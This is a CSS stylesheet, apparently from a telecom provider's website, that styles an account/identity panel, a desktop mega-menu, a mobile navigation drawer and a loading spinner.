.sosh .identity-layer[data-state=&quot;active&quot;] > .panel-button.has-arrow::after { left: 0.9375em; border-bottom-color: rgb(255, 255, 255); }

.sosh .identity-layer:hover .panel-button { background-color: rgba(255, 255, 255, 0.12); border-radius: 6.25em; }

.identity-panel { background: rgb(255, 255, 255); display: flex; flex-direction: column; color: rgb(0, 0, 0); min-width: 18.75em; gap: 0.9375em; }

.identity-panel > * { text-align: center; }

.identity-panel .user-details { display: flex; flex-direction: column; gap: 0.5em; padding: 0.3125em; }

.identity-panel .user-details .full-name { flex-grow: 1; font-weight: 700; font-size: 1.125em; line-height: 1.33333em; text-align: left; }

.identity-panel .user-details .details { font-size: 0.875em; flex-grow: 1; text-align: left; display: flex; flex-direction: column; gap: 0.5em; }

.identity-panel ul { list-style-type: none; padding: 0px; margin: 0px; }

.identity-panel ul li { padding: 0px; margin: 0px; }

@media screen and (max-width: 48em) {
  .identity-panel .top-links { padding: 0px 1.25em; margin-top: 0.625em; }
}

.identity-panel .top-links .top-link a { font-size: 0.875em; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); padding: 1.07143em; display: block; line-height: 1.85714em; min-height: 1.85714em; box-sizing: content-box; text-align: center; }

.identity-panel .top-links .top-link a:hover, .identity-panel .top-links .top-link a:focus { background-color: rgb(85, 85, 85); text-decoration: none; }

.identity-panel .top-links .top-sub-link a { font-size: 0.875em; display: flex; justify-content: center; background-color: rgba(0, 0, 0, 0); color: rgb(0, 0, 0); margin: 1.07143em; padding: 0.357143em; font-weight: bold; min-height: 1em; line-height: 1em; text-decoration: underline; }

.identity-panel .top-links .top-sub-link a:hover, .identity-panel .top-links .top-sub-link a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.identity-panel .elements { display: flex; flex-direction: column; text-align: start; gap: 0.9375em; }

.identity-panel .elements .element a, .identity-panel .elements .sub-element a { font-size: 0.875em; position: relative; width: 100%; padding: 0.357143em; color: rgb(0, 0, 0); font-weight: bold; }

.identity-panel .elements .element a.icon.arrow-right::before, .identity-panel .elements .sub-element a.icon.arrow-right::before { font-size: 1.14286em; color: rgb(241, 110, 0); position: absolute; right: 0px; margin-right: 0px; }

.identity-panel .elements .element a.icon::before, .identity-panel .elements .sub-element a.icon::before { margin-right: 0.428571em; }

.identity-panel .elements .element a:hover, .identity-panel .elements .element a:focus, .identity-panel .elements .sub-element a:hover, .identity-panel .elements .sub-element a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.identity-panel .elements .element + .sub-element { margin-top: 0.625em; }

.identity-panel .loading { height: 200px; position: relative; min-height: 44.4px; }

@keyframes loading {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.identity-panel .loading::after { content: &quot;&quot;; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; }

.identity-panel .bottom-separator { border-bottom: 1px solid rgb(204, 204, 204); margin: 0.625em 0px; }

.identity-panel .bottom-links { display: flex; flex-direction: column; justify-items: flex-start; gap: 0.9375em; }

@media screen and (max-width: 48em) {
  .identity-panel .bottom-links { padding-bottom: 7.5em; }
}

.identity-panel .bottom-links li a { font-size: 0.875em; background: none; min-height: 1.42857em; color: rgb(0, 0, 0); text-align: left; padding: 0.357143em; display: block; }

.identity-panel .bottom-links li a::before { margin-right: 8px; font-size: 1.14286em; vertical-align: baseline; }

.identity-panel .bottom-links li a:hover, .identity-panel .bottom-links li a:active { color: rgb(85, 85, 85); }

.identity-panel .bottom-links li a:hover::before, .identity-panel .bottom-links li a:hover i, .identity-panel .bottom-links li a:active::before, .identity-panel .bottom-links li a:active i { opacity: 0.6; }

.content-overflow-wrapper { height: 1px; min-height: 100%; }

.content-overflow-wrapper .identity-panel { height: 100%; }

.band.ruban.gp .identity-layer .popin { padding: 1.5625em; }

.band.ruban.sosh .identity-layer .identity-panel { min-width: 17.5em; }

@media (max-width: 48em) {
  .band.ruban.sosh .identity-layer .identity-panel { flex-grow: 1; }
}

.band.ruban.sosh .identity-layer .popin { min-height: 10.3125em; padding: 1.875em; display: flex; justify-content: center; }

.band.ruban.sosh .identity-layer .popin .user-details { display: none; }

@media (max-width: 64em) {
  .band.ruban.sosh .identity-layer .popin .user-details { display: flex; }
  .band.ruban.sosh .identity-layer .popin .user-details .full-name { text-align: center; }
  .band.ruban.sosh .identity-layer .popin .user-details .details { display: none; }
}

.band.ruban.sosh .identity-layer .popin .bottom-separator { display: none; }

.band.ruban.sosh .identity-layer .popin a.icon { display: flex; align-items: center; }

.band.ruban.sosh .identity-layer .popin a.icon::before { font-size: 1.875em; }

.band.ruban.sosh .identity-layer .popin a.icon.arrow-right::before { font-size: 1.625em; color: rgb(222, 37, 84); }

.band.ruban.sosh .identity-layer .popin a { outline-color: rgb(222, 37, 84) !important; outline-style: none; outline-width: medium; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .identity-layer .popin a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

.band.ruban.sosh .identity-layer .popin .top-links { display: flex; flex-direction: column; gap: 1.25em; }

.band.ruban.sosh .identity-layer .popin .top-links a { display: inline-flex; font-size: inherit; font-weight: 700; color: rgb(255, 255, 255); background: rgb(222, 37, 84); margin: 0px auto; padding: 0.875em 2.1875em; border-radius: 0.1875em; }

.band.ruban.sosh .identity-layer .popin .top-links a:hover { background: rgb(0, 0, 0); color: rgb(255, 255, 255); text-decoration: none; }

.band.ruban.sosh .identity-layer .popin .bottom-links { align-items: center; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon { position: relative; padding: 0.3125em 0.3125em 0.3125em 2.25em; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon::before { position: absolute; left: 0px; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon:hover::before, .band.ruban.sosh .identity-layer .popin .bottom-links a.icon:focus-visible::before { opacity: 1; }

.gp .skeleton.mega-menu { width: 9.375em; height: 1.875em; }

@media (max-width: 71.875em) {
  .gp .skeleton.mega-menu { width: 5.375em; height: 3.125em; }
}

.gp .desktop-navigation-content .skeleton.mega-menu { flex-basis: initial; }

.sosh .skeleton.mega-menu { width: 6.25em; height: 1.25em; }

.navigation { display: flex; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: end; }

.navigation.gp { border-bottom: 1px solid rgb(85, 85, 85); }

.navigation.gp .logo { display: none !important; }

.navigation.gp.visible-sticky .logo { display: flex !important; }

@media (max-width: 64em) {
  .navigation.gp .logo { display: none !important; }
}

.navigation.gp .content { border-top: 0.05625em solid rgb(85, 85, 85); }

.navigation.sosh { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); border-bottom: 1px solid rgb(204, 204, 204); min-height: 51px; align-items: center; z-index: 1; overflow: hidden; }

.navigation.sosh .desktop-navigation-content { display: flex; border-top: medium; }

.navigation.sosh:has(.hidden-dropdown[aria-expanded=&quot;true&quot;]) { overflow: visible; }

.navigation.sosh .events { display: flex; }

.navigation.sosh .events .event { width: max-content; margin: 0px 0px auto !important; }

.navigation.sosh .events .event span { font-weight: 700; }

.navigation.sosh .events .event .icon.double-underline { color: rgb(222, 37, 84); font-size: 4.0625em; position: absolute; left: -1.53846em; bottom: 0px; right: -1.53846em; height: 0.307692em; pointer-events: none; }

.navigation.sosh .mobile-navigation-content { top: 0px !important; border: medium !important; width: 16.875em !important; }

.navigation.sosh .logo { display: none; }

.navigation.sosh.visible-sticky .logo { display: flex !important; }

@media (max-width: 64em) {
  .navigation.sosh .logo { display: flex !important; }
}

.sticky-ghost { background-color: rgb(0, 0, 0); min-height: 0px; width: 100%; }

.gp.navigation { min-height: 3.25em; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: stretch; }

.gp.navigation.visible-sticky { position: fixed !important; z-index: 10000000; top: 0px; }

.gp.navigation.visible-sticky + .sticky-ghost { min-height: 3.125em; }

@media (max-width: 64em) {
  .gp.navigation { min-height: 0px; }
}

.gp.navigation .desktop-navigation-content { display: flex; gap: 0.9375em; width: 100%; border-top: 0.05625em solid rgb(85, 85, 85); }

.gp.navigation .desktop-navigation-content .mega-menu { position: static; display: flex; flex-shrink: 1; }

.gp.navigation .desktop-navigation-content .mega-menu a { font-size: 0.875em; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button { display: flex; flex-shrink: 1; font-size: 0.875em; line-height: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel { display: none; border-top: 1px solid rgb(85, 85, 85); padding-top: 0px; padding-bottom: 0px; box-sizing: border-box; min-height: 29.375em; position: absolute; left: 0px; right: 0px; top: 100%; background-color: rgb(0, 0, 0); }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel { min-height: 21.875em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { display: flex; flex-direction: column; flex-shrink: 0; padding-top: 1.875em; padding-bottom: 1.875em; width: 20%; border-right: 1px solid rgb(85, 85, 85); max-height: calc(100vh - var(--top-offset) - 1.875em - 1.875em); overflow-y: auto; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { padding-top: 0.625em; padding-bottom: 0.625em; }
}

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { max-height: calc(100vh - var(--top-offset) - .625em - .625em); }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links { display: flex; flex-direction: column; margin-bottom: auto; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { font-size: 0.875em; display: flex; padding: 1em 0.714286em; font-weight: bold; margin: 0px; height: auto; width: 100%; min-height: 2.85714em; box-sizing: border-box; align-items: center; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { padding: 0.714286em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link .icon::before { font-size: 1.5em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:last-of-type { margin-bottom: auto; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.icon.after.arrow-right::after { visibility: hidden; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-preselected { color: rgb(241, 110, 0); background: rgba(255, 255, 255, 0.08); }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected.icon.after.arrow-right::after, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-preselected.icon.after.arrow-right::after { visibility: visible; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:hover, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { background: rgba(255, 255, 255, 0.08); text-decoration: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links { display: flex; margin-top: 1.5em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links a { padding: 1em 0.714286em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels { position: relative; flex-grow: 1; display: flex; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel { display: none; flex-direction: column; max-height: calc(100vh - var(--top-offset)); overflow: hidden auto; top: 0px; right: 0px; flex-grow: 0; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected { display: flex; width: auto; flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected .section-top { flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { display: flex; flex-direction: row; gap: 1.875em; width: auto; padding: 1.875em 1.875em 0.625em; }

@media screen and (max-width: 80em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-right: 0px; }
}

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-top: 0.625em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid { --nb-columns: 3; display: grid; gap: 0.75em 1.875em; grid-auto-rows: min-content; grid-template-columns: repeat(var(--nb-columns), 1fr); flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid h3.category-title { grid-row: 1; font-size: 0.875em; margin-bottom: 0px; margin-top: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { gap: 0px; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a { padding-top: 0.5em; padding-bottom: 0.625em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder { margin-left: auto; margin-top: 1.3125em; font-size: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { flex-grow: 0; flex-shrink: 0; width: 16.875em; height: 22.5em; background-color: rgba(255, 255, 255, 0.08); }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder::before { display: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder.error { border: medium; background-color: rgba(255, 255, 255, 0.08); opacity: 0.07; object-fit: cover; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { visibility: hidden; opacity: 0; height: 18.75em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { margin-top: auto; display: flex; gap: 1.25em; flex-wrap: wrap; padding-bottom: 2.5em; padding-left: 1.875em; padding-right: 1.875em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links a::before { margin-right: 0.3125em; }

@media screen and (max-width: 80em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { padding-right: 0px; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button { position: absolute; top: 0px; right: -2em; width: 2em; height: 2em; line-height: 2em; text-align: center; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button::before { font-size: 1.25em; color: rgb(255, 255, 255); }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-preselected, .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected { position: relative; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-preselected::after, .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected::after { content: &quot;&quot;; display: block; position: absolute; left: 0.3125em; right: 0.3125em; bottom: -0.75em; height: 0.25em; background-color: rgb(241, 110, 0); z-index: 999; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected + .panel { display: flex; }

.gp.navigation .desktop-navigation-content .mega-menu-button:hover { color: rgb(204, 204, 204); }

.gp.navigation .desktop-navigation-content .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .gp.navigation .desktop-navigation-content .events { flex-direction: column; }
}

.gp.navigation .desktop-navigation-content .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.gp.navigation .desktop-navigation-content .events > .event:hover, .gp.navigation .desktop-navigation-content .events > .event:focus, .gp.navigation .desktop-navigation-content .events > .event:focus-visible { color: rgb(255, 255, 255); }

.gp.navigation .desktop-navigation-content .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.gp.navigation .desktop-navigation-content ul, .gp.navigation .desktop-navigation-content ul > li { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: inherit; }

@media (max-width: 71.875em) {
  .gp.navigation .desktop-navigation-content > ul { flex-basis: min-content; }
}

.gp.navigation .desktop-navigation-content > a, .gp.navigation .desktop-navigation-content > div > a, .gp.navigation .desktop-navigation-content > ul > li > a, .gp.navigation .desktop-navigation-content button.as-link { display: flex; padding: 0.357143em; font-weight: bold; box-sizing: border-box; margin-top: 0.625em; margin-bottom: 0.625em; height: calc(100% - 1.25em); align-items: center; color: rgb(255, 255, 255); outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .desktop-navigation-content > a:hover, .gp.navigation .desktop-navigation-content > a:focus, .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:hover, .gp.navigation .desktop-navigation-content > div > a:focus, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:hover, .gp.navigation .desktop-navigation-content > ul > li > a:focus, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:hover, .gp.navigation .desktop-navigation-content button.as-link:focus, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { text-decoration: none; }

.gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.gp.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; }

.gp.navigation .mobile-navigation-menu:not(.is-open) * { display: none; }

.gp.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; }

@media screen and (max-width: 30em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); }

@media (max-width: 20.3125em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { flex-direction: column; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: &quot; &quot;; background-color: rgb(255, 255, 255); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); }

